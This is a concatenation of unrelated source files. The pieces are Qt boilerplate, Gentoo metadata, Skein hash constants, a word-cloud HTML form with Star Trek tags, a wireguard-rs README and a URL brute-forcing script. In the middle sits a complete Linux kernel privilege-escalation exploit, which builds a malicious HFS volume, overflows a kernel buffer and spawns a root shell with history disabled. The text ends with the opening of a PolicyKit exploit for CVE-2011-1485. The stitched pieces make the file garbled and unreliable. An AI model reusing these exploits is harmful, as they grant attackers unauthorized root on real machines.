{"code":"#include <QApplication>\n#include \"Widget.h\"\n\nint main(int argc, char *argv[])\n{\n\tQApplication a(argc, argv);\n\tWidget w;\n\tw.show();\n\treturn a.exec();\n}\n\n#include <QApplication>\n#include \"Widget.h\"\n\nint main(int argc, char *argv[])\n{\n\tQApplication a(argc, argv);\n\tWidget w;\n\tw.show();\n\treturn a.exec();\n}\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE pkgmetadata SYSTEM \"http://www.gentoo.org/dtd/metadata.dtd\">\n<pkgmetadata>\n\t<maintainer type=\"project\">\n\t\t<email>kde@gentoo.org</email>\n\t\t<name>Gentoo KDE Project</name>\n\t</maintainer>\n\t<upstream>\n\t\t<remote-id type=\"github\">phacility/libphutil</remote-id>\n\t</upstream>\n</pkgmetadata>\n\n#ifndef _SKEIN_IV_H_\r\n#define _SKEIN_IV_H_\r\n\r\n#include \"skein.h\"    /* get Skein macros and types */\r\n\r\n/*\r\n***************** Pre-computed Skein IVs *******************\r\n**\r\n** NOTE: these values are not \"magic\" constants, but\r\n** are generated using the Threefish block function.\r\n** They are pre-computed here only for speed; i.e., to\r\n** avoid the need for a Threefish call during Init().\r\n**\r\n** The IV for any fixed hash length may be pre-computed.\r\n** Only the most common values are included here.\r\n**\r\n************************************************************\r\n**/\r\n\r\n#define MK_64 SKEIN_MK_64\r\n\r\n/* blkSize =  256 bits. hashSize =  128 bits */\r\nconst u64b_t SKEIN_256_IV_128[] =\r\n    {\r\n    MK_64(0xE1111906,0x964D7260),\r\n    MK_64(0x883DAAA7,0x7C8D811C),\r\n    MK_64(0x10080DF4,0x91960F7A),\r\n    MK_64(0xCCF7DDE5,0xB45BC1C2)\r\n    };\r\n\r\n/* blkSize =  256 bits. hashSize =  160 bits */\r\nconst u64b_t SKEIN_256_IV_160[] =\r\n    {\r\n    MK_64(0x14202314,0x72825E98),\r\n    MK_64(0x2AC4E9A2,0x5A77E590),\r\n    MK_64(0xD47A5856,0x8838D63E),\r\n    MK_64(0x2DD2E496,0x8586AB7D)\r\n    };\r\n\r\n/* blkSize =  256 bits. hashSize =  224 bits */\r\nconst u64b_t SKEIN_256_IV_224[] =\r\n    {\r\n    MK_64(0xC6098A8C,0x9AE5EA0B),\r\n    MK_64(0x876D5686,0x08C5191C),\r\n    MK_64(0x99CB88D7,0xD7F53884),\r\n    MK_64(0x384BDDB1,0xAEDDB5DE)\r\n    };\r\n\r\n/* blkSize =  256 bits. hashSize =  256 bits */\r\nconst u64b_t SKEIN_256_IV_256[] =\r\n    {\r\n    MK_64(0xFC9DA860,0xD048B449),\r\n    MK_64(0x2FCA6647,0x9FA7D833),\r\n    MK_64(0xB33BC389,0x6656840F),\r\n    MK_64(0x6A54E920,0xFDE8DA69)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  128 bits */\r\nconst u64b_t SKEIN_512_IV_128[] =\r\n    {\r\n    MK_64(0xA8BC7BF3,0x6FBF9F52),\r\n    MK_64(0x1E9872CE,0xBD1AF0AA),\r\n    MK_64(0x309B1790,0xB32190D3),\r\n    MK_64(0xBCFBB854,0x3F94805C),\r\n    MK_64(0x0DA61BCD,0x6E31B11B),\r\n    MK_64(0x1A18EBEA,0xD46A32E3),\r\n    MK_64(0xA2CC5B18,0xCE84AA82),\r\n    MK_64(0x6982AB28,0x9D46982D)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  160 bits */\r\nconst u64b_t SKEIN_512_IV_160[] =\r\n    {\r\n    MK_64(0x28B81A2A,0xE013BD91),\r\n    MK_64(0xC2F11668,0xB5BDF78F),\r\n    MK_64(0x1760D8F3,0xF6A56F12),\r\n    MK_64(0x4FB74758,0x8239904F),\r\n    MK_64(0x21EDE07F,0x7EAF5056),\r\n    MK_64(0xD908922E,0x63ED70B8),\r\n    MK_64(0xB8EC76FF,0xECCB52FA),\r\n    MK_64(0x01A47BB8,0xA3F27A6E)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  224 bits */\r\nconst u64b_t SKEIN_512_IV_224[] =\r\n    {\r\n    MK_64(0xCCD06162,0x48677224),\r\n    MK_64(0xCBA65CF3,0xA92339EF),\r\n    MK_64(0x8CCD69D6,0x52FF4B64),\r\n    MK_64(0x398AED7B,0x3AB890B4),\r\n    MK_64(0x0F59D1B1,0x457D2BD0),\r\n    MK_64(0x6776FE65,0x75D4EB3D),\r\n    MK_64(0x99FBC70E,0x997413E9),\r\n    MK_64(0x9E2CFCCF,0xE1C41EF7)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  256 bits */\r\nconst u64b_t SKEIN_512_IV_256[] =\r\n    {\r\n    MK_64(0xCCD044A1,0x2FDB3E13),\r\n    MK_64(0xE8359030,0x1A79A9EB),\r\n    MK_64(0x55AEA061,0x4F816E6F),\r\n    MK_64(0x2A2767A4,0xAE9B94DB),\r\n    MK_64(0xEC06025E,0x74DD7683),\r\n    MK_64(0xE7A436CD,0xC4746251),\r\n    MK_64(0xC36FBAF9,0x393AD185),\r\n    MK_64(0x3EEDBA18,0x33EDFC13)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  384 bits */\r\nconst u64b_t SKEIN_512_IV_384[] =\r\n    {\r\n    MK_64(0xA3F6C6BF,0x3A75EF5F),\r\n    MK_64(0xB0FEF9CC,0xFD84FAA4),\r\n    MK_64(0x9D77DD66,0x3D770CFE),\r\n    MK_64(0xD798CBF3,0xB468FDDA),\r\n    MK_64(0x1BC4A666,0x8A0E4465),\r\n    MK_64(0x7ED7D434,0xE5807407),\r\n    MK_64(0x548FC1AC,0xD4EC44D6),\r\n    MK_64(0x266E1754,0x6AA18FF8)\r\n    };\r\n\r\n/* blkSize =  512 bits. hashSize =  512 bits */\r\nconst u64b_t SKEIN_512_IV_512[] =\r\n    {\r\n    MK_64(0x4903ADFF,0x749C51CE),\r\n    MK_64(0x0D95DE39,0x9746DF03),\r\n    MK_64(0x8FD19341,0x27C79BCE),\r\n    MK_64(0x9A255629,0xFF352CB1),\r\n    MK_64(0x5DB62599,0xDF6CA7B0),\r\n    MK_64(0xEABE394C,0xA9D5C3F4),\r\n    MK_64(0x991112C7,0x1A75B523),\r\n    MK_64(0xAE18A40B,0x660FCC33)\r\n    };\r\n\r\n/* blkSize = 1024 bits. hashSize =  384 bits */\r\nconst u64b_t SKEIN1024_IV_384[] =\r\n    {\r\n    MK_64(0x5102B6B8,0xC1894A35),\r\n    MK_64(0xFEEBC9E3,0xFE8AF11A),\r\n    MK_64(0x0C807F06,0xE32BED71),\r\n    MK_64(0x60C13A52,0xB41A91F6),\r\n    MK_64(0x9716D35D,0xD4917C38),\r\n    MK_64(0xE780DF12,0x6FD31D3A),\r\n    MK_64(0x797846B6,0xC898303A),\r\n    MK_64(0xB172C2A8,0xB3572A3B),\r\n    MK_64(0xC9BC8203,0xA6104A6C),\r\n    MK_64(0x65909338,0xD75624F4),\r\n    MK_64(0x94BCC568,0x4B3F81A0),\r\n    MK_64(0x3EBBF51E,0x10ECFD46),\r\n    MK_64(0x2DF50F0B,0xEEB08542),\r\n    MK_64(0x3B5A6530,0x0DBC6516),\r\n    MK_64(0x484B9CD2,0x167BBCE1),\r\n    MK_64(0x2D136947,0xD4CBAFEA)\r\n    };\r\n\r\n/* blkSize = 1024 bits. hashSize =  512 bits */\r\nconst u64b_t SKEIN1024_IV_512[] =\r\n    {\r\n    MK_64(0xCAEC0E5D,0x7C1B1B18),\r\n    MK_64(0xA01B0E04,0x5F03E802),\r\n    MK_64(0x33840451,0xED912885),\r\n    MK_64(0x374AFB04,0xEAEC2E1C),\r\n    MK_64(0xDF25A0E2,0x813581F7),\r\n    MK_64(0xE4004093,0x8B12F9D2),\r\n    MK_64(0xA662D539,0xC2ED39B6),\r\n    MK_64(0xFA8B85CF,0x45D8C75A),\r\n    MK_64(0x8316ED8E,0x29EDE796),\r\n    MK_64(0x053289C0,0x2E9F91B8),\r\n    MK_64(0xC3F8EF1D,0x6D518B73),\r\n    MK_64(0xBDCEC3C4,0xD5EF332E),\r\n    MK_64(0x549A7E52,0x22974487),\r\n    MK_64(0x67070872,0x5B749816),\r\n    MK_64(0xB9CD28FB,0xF0581BD1),\r\n    MK_64(0x0E2940B8,0x15804974)\r\n    };\r\n\r\n/* blkSize = 1024 bits. hashSize = 1024 bits */\r\nconst u64b_t SKEIN1024_IV_1024[] =\r\n    {\r\n    MK_64(0xD593DA07,0x41E72355),\r\n    MK_64(0x15B5E511,0xAC73E00C),\r\n    MK_64(0x5180E5AE,0xBAF2C4F0),\r\n    MK_64(0x03BD41D3,0xFCBCAFAF),\r\n    MK_64(0x1CAEC6FD,0x1983A898),\r\n    MK_64(0x6E510B8B,0xCDD0589F),\r\n    MK_64(0x77E2BDFD,0xC6394ADA),\r\n    MK_64(0xC11E1DB5,0x24DCB0A3),\r\n    MK_64(0xD6D14AF9,0xC6329AB5),\r\n    MK_64(0x6A9B0BFC,0x6EB67E0D),\r\n    MK_64(0x9243C60D,0xCCFF1332),\r\n    MK_64(0x1A1F1DDE,0x743F02D4),\r\n    MK_64(0x0996753C,0x10ED0BB8),\r\n    MK_64(0x6572DD22,0xF2B4969A),\r\n    MK_64(0x61FD3062,0xD00A579A),\r\n    MK_64(0x1DE0536E,0x8682E539)\r\n    };\r\n\r\n#endif /* _SKEIN_IV_H_ */\r\n\n<html>\n<head>\n<title>AnyClip Cloud Generator</title>\n<style>\n@font-face { font-family: 'Myriad Pro'; src: local('Myriad Pro Regular'), local('Myriad Pro'), url('http://static2.anyclipimg.com/fonts/MyriadPro-Regular.otf') format('opentype'); }\n@font-face { font-family: 'Myriad Pro'; font-weight: bold; src: local('Myriad Pro Bold'), url('http://static2.anyclipimg.com/fonts/MyriadPro-Bold.otf') format('opentype'); }\n@font-face { font-family: 'Myriad Pro'; font-style: italic; src: local('Myriad Pro Italic'), url('http://static2.anyclipimg.com/fonts/MyriadPro-It.otf') format('opentype'); }\n@font-face { font-family: 'Myriad Pro'; font-weight: bold; font-style: italic; src: local('Myriad Pro Bold Italic'), url('http://static2.anyclipimg.com/fonts/MyriadPro-BoldIt.otf') format('opentype'); }\nbody,input,textarea,pre { font-family: \"Myriad Pro\", Myriad, \"Myriad Web Pro\", Helvetica, Arial, sans-serif; }\n</style>\n</head>\n<body>\n<img src=\"/labs-logo.png\" align=\"right\">\n<h2>AnyClip Cloud Generator</h2>\n<form method=\"POST\" action=\"generate.php\">\n<label>Width: <input name=\"width\" value=\"2000\"></label><br>\n<label>Height: <input name=\"height\" value=\"1000\"></label><br><br>\n<label>Text:<br><textarea name=\"text\" rows=\"10\">\nalert\nalias\nApple\nassembly\nauditorium\nauthorization~not~recognized\nauto~pilot~malfunction\nbackpack\nbandage\nbeam~down\nbeam~down\nbeam~down\nbeam~up\nbeam~up\nbeam~up\nbeam~up\nbedroom\nBeer\nBeer\nBlow~up\nBlow~up\nBlow~up\nbones\nBudweiser~Brewery~Anheuser-Busch~Inc\ncadet~uniform\ncadet~uniform\nCal-State~University\nCaptain-cadet\nCaptain-Commander\nCaptain-Commander\nCaptain-Commander\nCaptain-Commander\nCaptain-crew\nCaptain-crew\nCaptain-Doctor\nCaptain-first~officer\ncaptain's~log\nCar\ncave\nChase\nclipboard\nCollapse\nCommander-cadet\nCommander-underlings\nCompetitor\nCompetitor\nCompetitor\ncotton~pads\nCrash\nCry\nDeform\ndelta~vega\ndelta~vega\nDie\ndissuade\nDodger~Stadium,\ndress\nDrill\ndrilling~platform\ndrilling~platform\ndrilling~platform\ndrilling~platform\ndrilling~platform\ndrilling~platform\ndrink\nDrive\ndrop~suits\nDrown\nEarth~Space~dock\neaster~egg\nelevator\nEnemy\nEnemy\nEnemy\nEnemy\nEnemy\nEnemy\nbridge\nbridge\nbridge\nbridge\nbridge\nbridge\nbridge\nbridge\nenterprise~engine~room\nescape\nEvacuate\nFall\nFall\nfamily\nFather-Son\nFather-Son\nFather-Son\nFight\nFight\nFight\nFight\nFight\nFight\nFight\nFight\nFight\nFight\nflask\nFriend\nFriend\nFriend\nFriend\nFriend\nFriend\nFriend\nFriend\nFriend\nFriends\nFriends\nFriends\nFriends\nfuture~spock~tells~his~story\ngive~birth\ngoggles\nGrab~boobs\ngreen\nGreeting\nGreeting\ngrieve\nGun\nheadscarf\nheadset\nHit\nhospital~gown\nHostage\nHurt\nhypospray\nI'm~a~doctor,~not~a\nI'm~giving~it~all~she's~got~captain\nInject\nInsectoid\njourney~to~babel\nJump\nJump\nJump\nKeenser\nkirk~and~spock~argue\nkirk~gets~spock~to~snap\nKiss\nKiss\nlaunch\nLingerie\nLingerie\nLingerie\nlive~long~and~prosper\nLong~Beach~City~Hall\nLong~Beach~City~Hall\nLovers\nLovers\nLovers\nLovers\nMake~out\nManuver\nmedal\nmedic~uniform\nmedic~uniform\nmedical~bay\nMinister-spock\nMother-Son\nMotorcycle\nMotorcycle\nname\nname~signs\nNarada\nNarada\nNarada\nNarada\nNarada\nnarada\nNarada\nNarada\nNarada\nNarada\nnemesis\nnero~interrogates~pike\nNyota\norder\nOrion~female\nparachute\nparachute\nparachute\nparachute\nparka\nparka\nPhaser\npike's~motivational~talk\nplan\nPolarilla\npolice~uniform\nPolice-Boy\nPrepare\nprojection\npromote\npub\nPush\nrack\nrecognize\nred~matter\nred~matter\nred~matter\nred~matter\nreport\nRescue\nresign\nrivals\nrivals\nroad\nromulans\nroof\nroommates\nrussian~accent\nsabotage\nScare\nschool\nSchoolmates\nShoot\nShoot\nShoot\nShoot\nShoot\nShoot\nShot\nshot\nShuttle\nShuttle\nShuttle\nShuttle\nShuttle\nShuttle\nShuttle\nshuttle~hanger\nsick~bay\nsimulation~room\nSneak\nspace,~the~final~frontier\nspace,~the~final~frontier\nSpaceship\nSpaceship\nspaceship~console~alerts\nspaceship~model\nspock's~home\nspock's~ship\nstar~fleet~academy\nstar~fleet~base\nstar~trek\nstar~trek\nStarfleet~Academy\nswollen~hands\nSword\ntake~control\ntake~off\ntake~off\ntake~off\ntape~recorder\nTeral'n\nterminated\nTest\nTest\nthe~naked~time\nthe~wrath~of~khan\nthe~wrath~of~khan\nTheme~from~star~trek\nThreat\nTime~Travel\ntongs\ntorch\nTorture\ntransporter~room\ntransporter~room\ntransporter~room\ntransporter~room\ntricorder\ntricorder\nuhura's~name\nUSS~Enterprise\nUSS~Enterprise\nUSS~Enterprise\nUSS~Enterprise\nUSS~Enterprise\nUSS~Enterprise\nUSS~Enterprise\nUSS~Farragut\nUSS~Kelvin\nUSS~Kelvin\nUSS~Kelvin\nUSS~Kelvin\nvalve~controls\nVasquez~Rocks~Natural~Area~Park\nvials\nVision\nvulcan\nvulcan\nvulcan~mind~meld\nvulcan~science~academy\nvulcan~student~robes\nwarning\nwarning\nwarp~core\nWarp~speed\nWarp~speed\nwheelchair\nwheelchair\nWife-Husband\nWife-Husband\nWife-Husband\nwool~cap\nyoung~and~older~spock\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\nZX2C4\n</textarea></label><br>\n<label>Configuration:<br><textarea name=\"configuration\" cols=\"80\" rows=\"15\">\n# Lines with the hash in front don't do anything. They are comments.\n# Lines without the hash, you should examine.\n\n# Possible choices are:\n# Myriad/MyriadPro-Black.ttf       Myriad/MyriadPro-It.ttf\n# Myriad/MyriadPro-BlackIt.ttf     Myriad/MyriadPro-Light.ttf\n# Myriad/MyriadPro-Bold.ttf        Myriad/MyriadPro-LightIt.ttf\n# Myriad/MyriadPro-BoldCond.ttf    Myriad/MyriadPro-Regular.ttf\n# Myriad/MyriadPro-BoldCondIt.ttf  Myriad/MyriadPro-Semibold.ttf\n# Myriad/MyriadPro-BoldIt.ttf      Myriad/MyriadPro-SemiboldIt.ttf\n# Myriad/MyriadPro-Cond.ttf        Myriad/MyriadStd-Sketch.ttf\n# Myriad/MyriadPro-CondIt.ttf      Myriad/MyriadStd-Tilt.ttf\nfont: Myriad/MyriadPro-Black.ttf\n\n# This means it's going to count the frequency of words. Don't touch this.\nformat: text\n\n# Text encoding. Again, don't touch this one.\ninputencoding: UTF-8\n\n# Case folding -- send everything to upper or lower case\n# Possible values: Upper, Lower\n# If you want to use this, remove the hash in front of the line below\n#casefold: Lower\n\n# Background color\n# Colors should be specified as HTML colors.\nbackground: 000000\n\n# Palette\n# These are the colors of the words, also as HTML colors.\n# You can have this be only 1 color if you want,\n# or add a bunch of colors by having the colors seperated by a comma.\npalette: FFFFFF\n\n# Maximum number of words to show\nmaxwords: 800\n\n# The \"placement strategy\" to use\n# Possible values:\n#   HorizontalCenterLine\n#   VerticalCenterLine\n#   Alphabetical\n#   AlphabeticalVertical\n#   Center\n# Capitalization and spelling are significant.\nplacement: HorizontalCenterLine\n\n# The perimeter shape, either BLOBBY or SQUARISH\nshape: BLOBBY\n\n# The \"orientation strategy\" to use.\n# Possible values:\n#       HORIZONTAL\n#       MOSTLY_HORIZONTAL\n#       HALF_AND_HALF\n#       MOSTLY_VERTICAL\n#       VERTICAL\n#       ANY_WHICH_WAY\norientation: HORIZONTAL\n</textarea></label><br>\n<input type=\"submit\" value=\"Make Me A Word Cloud!\" style=\"font-size: 14pt; font-weight: bold;\">\n</form>\n</body>\n</html>\n\n# Rust Implementation of WireGuard\n\n## Usage\n\nMost Linux kernel WireGuard users are used to adding an interface with `ip link add wg0 type wireguard`.\nWith wireguard-rs, instead simply run:\n\n    $ wireguard-rs wg0\n\nThis will create an interface and fork into the background. To remove the interface, use the usual `ip link del wg0`,\nor if your system does not support removing interfaces directly, you may instead remove the control socket via\n`rm -f /var/run/wireguard/wg0.sock`, which will result in wireguard-rs shutting down.\n\nWhen an interface is running, you may use `wg(8)` to configure it, as well as the usual `ip(8)` and `ifconfig(8)` commands.\n\n## Platforms\n\n### Linux\n\nThis will run on Linux;\nhowever YOU SHOULD NOT RUN THIS ON LINUX. Instead use the kernel module; see the installation page for instructions.\n\n### Windows\n\nComing soon.\n\n### FreeBSD\n\nComing soon.\n\n### OpenBSD\n\nComing soon.\n\n## Building\n\nThe wireguard-rs project is targeting the current nightly (although it should also build with stable Rust).\n\nTo build wireguard-rs (on supported platforms):\n\n1. Obtain nightly `cargo` and `rustc` through [rustup](https://rustup.rs/)\n2. Clone the repository: `git clone https://git.zx2c4.com/wireguard-rs`.\n3. Run `cargo build --release` from inside the `wireguard-rs` directory.\n\n## Architecture\n\nThis section is intended for those wishing to read/contribute to the code.\n\nWireGuard Rust has a similar separation of concerns as many other implementations of various cryptographic transports:\nseparating the handshake code from the packet protector.\nThe handshake module implements an authenticated key-exchange (NoiseIK),\nwhich provides key-material, which is then consumed by the router module (packet protector)\nresponsible for the actual encapsulation of transport messages (IP packets).\nThis is illustrated below:\n\n![Structure](architecture.svg)\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <syscall.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#include <sys/utsname.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n// Spender's kernel sym code\nunsigned long get_kernel_sym(char *name)\n{\n\tFILE *f;\n\tunsigned long addr;\n\tchar dummy;\n\tchar sname[512];\n\tstruct utsname ver;\n\tint ret;\n\tint rep = 0;\n\tint oldstyle = 0;\n \n\tf = fopen(\"/proc/kallsyms\", \"r\");\n\tif (f == NULL) {\n\t\tf = fopen(\"/proc/ksyms\", \"r\");\n\t\tif (f == NULL)\n\t\t\tgoto fallback;\n\t\toldstyle = 1;\n\t}\n \nrepeat:\n\tret = 0;\n\twhile(ret != EOF) {\n\t\tif (!oldstyle)\n\t\t\tret = fscanf(f, \"%p %c %s\\n\", (void **)&addr, &dummy, sname);\n\t\telse {\n\t\t\tret = fscanf(f, \"%p %s\\n\", (void **)&addr, sname);\n\t\t\tif (ret == 2) {\n\t\t\t\tchar *p;\n\t\t\t\tif (strstr(sname, \"_O/\") || strstr(sname, \"_S.\"))\n\t\t\t\t\tcontinue;\n\t\t\t\tp = strrchr(sname, '_');\n\t\t\t\tif (p > ((char *)sname + 5) && !strncmp(p - 3, \"smp\", 3)) {\n\t\t\t\t\tp = p - 4;\n\t\t\t\t\twhile (p > (char *)sname && *(p - 1) == '_')\n\t\t\t\t\t\tp--;\n\t\t\t\t\t*p = '\\0';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (ret == 0) {\n\t\t\tfscanf(f, \"%s\\n\", sname);\n\t\t\tcontinue;\n\t\t}\n\t\tif (!strcmp(name, sname)) {\n\t\t\tfprintf(stdout, \"[+] Resolved %s to %p%s\\n\", name, (void *)addr, rep ? \" (via System.map)\" : \"\");\n\t\t\tfclose(f);\n\t\t\treturn addr;\n\t\t}\n\t}\n \n\tfclose(f);\n\tif (rep)\n\t\treturn 0;\nfallback:\n\tuname(&ver);\n\tif (strncmp(ver.release, \"2.6\", 3))\n\t\toldstyle = 1;\n\tsprintf(sname, \"/boot/System.map-%s\", ver.release);\n\tf = fopen(sname, \"r\");\n\tif (f == NULL)\n\t\treturn 0;\n\trep = 1;\n\tgoto repeat;\n}\n \ntypedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);\ntypedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);\n_commit_creds commit_creds;\n_prepare_kernel_cred prepare_kernel_cred;\n\nvolatile int got_root = 0;\nvoid root()\n{\n\tcommit_creds(prepare_kernel_cred(0));\n\tgot_root = 1;\n}\n\nvoid build_volume()\n{\n\tif (getuid()) {\n\t\tprintf(\"[-] You must be root to build the malicious volume. Do this on another computer you control.\\n\");\n\t\texit(-1);\n\t}\n\tprintf(\"[+] Building malicious HFS volume at /tmp/evilhfs.\\n\");\n\tsystem(\"dd if=/dev/zero of=/tmp/evilhfs count=2048\");\n\tsystem(\"mkfs.hfs -h /tmp/evilhfs\");\n\tsystem(\"mkdir -v /tmp/evilhfsmount\");\n\tsystem(\"mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount\");\n\tsystem(\"touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\");\n\tsystem(\"umount -v /tmp/evilhfsmount\");\n\tsystem(\"rmdir -v /tmp/evilhfsmount\");\n\t\n\tprintf(\"[+] Modifying volume.\\n\");\n\tFILE *hfs = fopen(\"/tmp/evilhfs\", \"r+\");\n\tif (!hfs) {\n\t\tperror(\"fopen\");\n\t\texit(-1);\n\t}\n\tfseek(hfs, 0x2AA0, SEEK_SET);\n\tfputc(0xFF, hfs); // Make the length 255\n\tfseek(hfs, 0x2B00, SEEK_SET);\n\tfor (int i = 0; i < 128; ++i)\n\t\tfputc('A', hfs); // Write an A, which is 0x41\n\tfclose(hfs);\n}\n\nvoid main(int argc, char *argv[])\n{\n\tif (argc == 2 && strcmp(argv[1], \"-b\") == 0) {\n\t\tbuild_volume();\n\t\treturn;\n\t}\n\t\n\tprintf(\"[+] Resolving kernel symbols.\\n\");\n        commit_creds = (_commit_creds) get_kernel_sym(\"commit_creds\");\n        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym(\"prepare_kernel_cred\");\n\tif (!commit_creds || !prepare_kernel_cred) {\n\t\tprintf(\"[-] Failed to resolve kernel symbols.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Mmaping ascii page.\\n\");\n\tvoid *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);\n\tif ((long)location < 0) {\n\t\tperror(\"[-] mmap\");\n\t\texit(-1);\n\t}\n\t\n\tprintf(\"[+] Adding jmp to pwnage at 0x40404040.\\n\");\n\tfor (unsigned long i = 0x40404000; i <= 0x40404040; ++i)\n\t\t*(char*)i = 0x90; // nop\n\t*(char*)0x40404041 = 0xe9; // jmp\n\t*(unsigned long*)0x40404042 = (unsigned long)&root;\n\t\n\tprintf(\"[+] Enter the mount point of the malicious HFS volume: \");\n\tchar mountpoint[256];\n\t// For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.\n\tgets(mountpoint);\n\t\n\tprintf(\"[+] Reading directory to trigger overflow.\\n\");\n\tDIR *dir = opendir(mountpoint);\n\tif (!dir) {\n\t\tperror(\"opendir\");\n\t\texit(-1);\n\t}\n\twhile(readdir(dir));\n\n\tprintf(\"[+] Triggering clobbered function pointer.\\n\");\n\tsyscall(__NR_restart_syscall);\n\t\n\tif (!got_root) {\n\t\tprintf(\"[-] Failed to get root.\\n\");\n\t\texit(-1);\n\t}\n\t\n\tsetuid(0);\n\tsetgid(0);\n\tsetenv(\"HISTFILE\", \"/dev/null\", 1);\n\texecl(\"/bin/sh\", \"sh\", \"-i\", NULL);\n}\nfrom collections import deque\nimport time\nimport threading\nimport Queue\nimport asyncore\nfrom asynhttp import http_evented # in brhute repository\nimport asyncdns # sudo pip install asyncdns\nimport warnings\n\n# grbrute - asynchronous URL fetcher based on asyhttp\n# Uses multiple simultaneous connections and multiple requests per connections\n# 2013, Laurent Ghigonis <laurent@p1sec.com>\n\n# Python grequests ressources :\n# http://stackoverflow.com/questions/16015749/in-what-way-is-grequests-asynchronous\n# https://github.com/kennethreitz/grequests/issues/13\n# http://stackoverflow.com/questions/13809650/using-grequests-to-send-a-pool-of-requests-how-can-i-get-the-response-time-of-e\n# https://gist.github.com/ibrahima/3153647 - request_queue.py\n# http://rubydoc.info/github/typhoeus/typhoeus/frames/Typhoeus - Ruby Typhoeus\n\n# XXX multiple processes, autodetect and repartir connections\n# DNS resolving with asyncdns\n\nclass Brhute_connection():\n    def __init__(self, queue, ip, port, req_per_connection, cb_response,\n                 interval=0, verbose=False):\n        self.queue = queue\n        self.ip = ip\n        self.port = port\n        self.req_per_connection = req_per_connection\n        self.cb_response_user = cb_response\n        self.interval = interval\n        self.verbose = verbose\n        self.ongoing = 0\n        self.hev = http_evented.http_evented((ip, port), onConnected=self._connected)\n        asyncore.loop()\n\n    def get(self, host, url):\n        if self.verbose:\n            print \"XXX Brhute_connection.get\"\n        headers = {'Host': host}\n        body = None\n        self.hev.make_HTTP_request(\"GET\", url, body, headers,\n                                      self._cb_response)\n        self.ongoing += 1\n\n    def _connected(self):\n        self._send()\n\n    def _send(self):\n        if self.ongoing == self.req_per_connection:\n            return\n        # get an URL to send\n        try:\n            print \"XXX queue get\"\n            try:\n                host, url = self.queue.get(False)\n            except Queue.Empty:\n                return\n        except StopIteration, e:\n            return\n        if self.verbose:\n            print \"[-] %s\" % url\n        # send the url\n        self.get(host, url)\n        self.queue.task_done()\n\n    def _cb_response(self, response):\n        self.ongoing -= 1\n        if self.cb_response_user:\n            self.cb_response_user(response)\n        self._send()\n        time.sleep(self.interval)\n\nclass Brhute_ip:\n    \"\"\" Fetch URLs from one IP\n    url_iter is the iterator that provides the URLs.\n    cb_response should return True for the processing to continue, and False\n    to terminate.\n    If you want to integrate it in a gevent driven program, use block=False\"\"\"\n    def __init__(self, url_iter, ip, port=80, cb_response=None,\n                 nb_connections=3, req_per_connection=10, interval=0,\n                 verbose=False, block=True):\n        warnings.warn(\"XXX WARNING: WORK IN PROGRESS\")\n        warnings.warn(\"XXX WARNING: Don't expect this to work\")\n        self.url_iter = url_iter\n        self.ip = ip\n        self.port = port\n        self.cb_response_user = cb_response\n        self.nb_connections = nb_connections\n        self.req_per_connection = req_per_connection\n        self.interval = interval\n        self.verbose = verbose\n        queue = multiprocessing.JoinableQueue()\n\n        self.conns = deque()\n        for i in range(nb_connections):\n            p = multiprocessing.Process(target=self._proc,\n                                        args=(queue, ip, port,\n                                        req_per_connection, cb_response,\n                                        interval, verbose))\n            p.start()\n            self.conns.append(p)\n        for host, url in url_iter:\n            queue.put((host, url))\n        time.sleep(60) # XXX\n\n    def _proc(self, queue, ip, port, req_per_connection, cb_response, interval, verbose):\n        Brhute_connection(queue, ip, port, req_per_connection, cb_response, interval, verbose)\n\nclass Brhute_multi_ip:\n    \"\"\"Fetch URLs from multiple IPs pointing to the same content\"\"\"\n    def __init__(self):\n        warnings.warn(\"XXX WARNING: WORK IN PROGRESS\")\n        warnings.warn(\"XXX WARNING: Don't excpect this to work\")\n\nclass Brhute:\n    \"\"\"Fetch URLs\"\"\"\n    def __init__(self):\n        warnings.warn(\"XXX WARNING: WORK IN PROGRESS\")\n        warnings.warn(\"XXX WARNING: Don't excpect this to work\")\n\n/* polkit-pwnage.c\n *\n *\n * ==============================\n * =      PolicyKit Pwnage      =\n * =          by zx2c4          =\n * =        Sept 2, 2011        =\n * ==============================\n *\n *\n * Howdy folks,\n *\n * This exploits CVE-2011-1485, a race condition in PolicyKit.\n * \n * davidz25 explains:\n * \n * --begin--\n * Briefly, the problem is that the UID for the parent process of pkexec(1) is\n * read from /proc by stat(2)'ing /proc/PID. The problem with this is that\n * this returns the effective uid of the process which can easily be set to 0\n * by invoking a setuid-root binary such as /usr/bin/chsh in the parent\n * process of pkexec(1). Instead we are really interested in the real-user-id.\n * While there's a check in pkexec.c to avoid this problem (by comparing it to\n * what we expect the uid to be - namely that of the pkexec.c process itself which\n * is the uid of the parent process at pkexec-spawn-time), there is still a short\n * window where an attacker can fool pkexec/polkitd into thinking that the parent\n * process has uid 0 and is therefore authorized. It's pretty hard to hit this\n * window - I actually don't know if it can be made to work in practice.\n * --end--\n *\n * Well, here is, in fact, how it's made to work in practice. There is as he said an\n * attempted mitigation, and the way to trigger that mitigation path is something\n * like this:\n *\n *     $ sudo -u `whoami` pkexec sh\n *     User of caller (0) does not match our uid (1000)\n *\n * Not what we want. So the trick is to execl to a suid at just the precise 